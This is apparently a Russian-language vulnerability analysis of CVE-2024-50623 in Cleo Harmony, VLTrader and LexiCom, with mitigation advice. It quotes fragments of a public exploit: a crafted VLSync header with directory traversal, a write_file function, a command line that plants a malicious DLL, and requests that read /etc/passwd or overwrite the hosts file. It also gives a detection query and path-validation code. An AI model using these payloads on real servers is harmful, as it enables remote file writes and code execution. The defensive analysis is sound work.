
Уязвимость BDU:2025-00709 (CVE-2024-50623) Cleo Harmony, VLTrader и LexiCom
Уязвимость BDU:2025-00709 (CVE-2024-50623) затрагивает продукты Cleo Harmony, VLTrader и LexiCom версий до 5.8.0.21. Основная проблема заключается в отсутствии проверки:
-
Типов загружаемых файлов
-
Путей записи/чтения
-
Авторизации для критических операций
Анализ уязвимости
Уровень опасности: 9.8 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.
-
AC:L (Сложность атаки: Низкая) – Простая реализация без сложных условий.
-
PR:N (Привилегии: Нет) – Доступ к системе не требуется.
-
UI:N (Взаимодействие: Нет) – Участие пользователя не нужно.
-
S:U (Область: Неизменная) – Влияет только на уязвимый компонент.
-
C:H (Конфиденциальность: Высокое) – Полная компрометация данных.
-
I:H (Целостность: Высокое) – Возможность полного изменения данных.
-
A:H (Доступность: Высокое) – Критическое нарушение работы системы.
Интерпретация: Критическая уязвимость (9.8) позволяет удалённо без прав и участия пользователя нарушить конфиденциальность, целостность и доступность системы. Максимальный риск обусловлен сетевым вектором, низкой сложностью эксплуатации и полным контролем над уязвимым компонентом.
Ключевые аспекты уязвимости
# Пример опасного заголовка из эксплойта headers = { 'VLSync': "ADD;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0;...;path=..\\..\\exploit.dll" }
Сервер некорректно обрабатывает параметр path
, позволяя использовать:
-
Атаку Directory Traversal (
..\\
) -
Запись исполняемых файлов (.dll, .exe)
-
Перезапись системных файлов
Анализ эксплойта CVE-2024-50623
Основные компоненты кода общедоступного эксплоита
def write_file(target, where, what, target_version): headers = { 'VLSync': f"ADD;l=Ab1234-RQ0258;...;path={where}" } s.post(target, headers=headers, data=what)
-
Инъекция через заголовки: Управление операциями через кастомный заголовок VLSync
-
Обход путей: Использование
..\\
для выхода из sandbox -
Автоматическое определение версии:
def extract_version(target): r = s.get(f"{target}/Synchronization") return r.headers['Server'].split('/')[1].split(' ')[0]
Условия эксплуатации
-
Сетевой доступ к порту 5080 (по умолчанию)
-
Отсутствие WAF или систем фильтрации запросов
-
Необновлённое ПО (версия < 5.8.0.21)
-
Доступ к endpoint
/Synchronization
Примеры сценариев атаки
1. Запись вредоносной DLL
CVE-2024-50623.py --target http://internal-server:5080/Synchronization --action write --what payload.dll --where "..\\..\\webapps\\ROOT\\malicious.dll"
2. Чтение конфиденциальных данных
read_file("http://victim:5080", "..\\..\\etc\\passwd", "5.7.0")
3. Подмена системных файлов
POST /Synchronization HTTP/1.1 VLSync: ADD;path=..\\..\\windows\\system32\\drivers\\etc\\hosts ... 127.0.0.1 microsoft.com
Механизмы защиты
1. Обновление ПО
# Проверка текущей версии curl -I http://cleo-server:5080/Synchronization | grep Server # Пример ответа: Server: VLTrader/5.8.0.21
2. Конфигурация сети
# Пример правила для Nginx location /Synchronization { deny all; return 403; }
3. Харденинг приложения
// Пример валидации пути (псевдокод) public void validatePath(String inputPath) { if (inputPath.contains("..") || inputPath.startsWith("\\")) { throw new SecurityException("Invalid path"); } }
4. Мониторинг аномалий
-- Пример правила для SIEM SELECT * FROM logs WHERE http_user_agent LIKE '%CVE-2024-50623%' OR http_headers LIKE '%VLSync%ADD%..\\%'
Рекомендации для разработчиков
-
Реализация строгой проверки путей:
from pathlib import Path def sanitize_path(user_input): base_dir = Path("/allowed/directory") resolved_path = base_dir / user_input).resolve() if not resolved_path.is_relative_to(base_dir): raise ValueError("Path traversal attempt") return resolved_path
-
Валидация типов файлов:
public static final Set<String> ALLOWED_EXTENSIONS = Set.of("txt", "csv", "log"); public void validateFile(String filename) { String ext = filename.substring(filename.lastIndexOf(".") + 1); if (!ALLOWED_EXTENSIONS.contains(ext.toLowerCase())) { throw new SecurityException("Forbidden file type"); } }
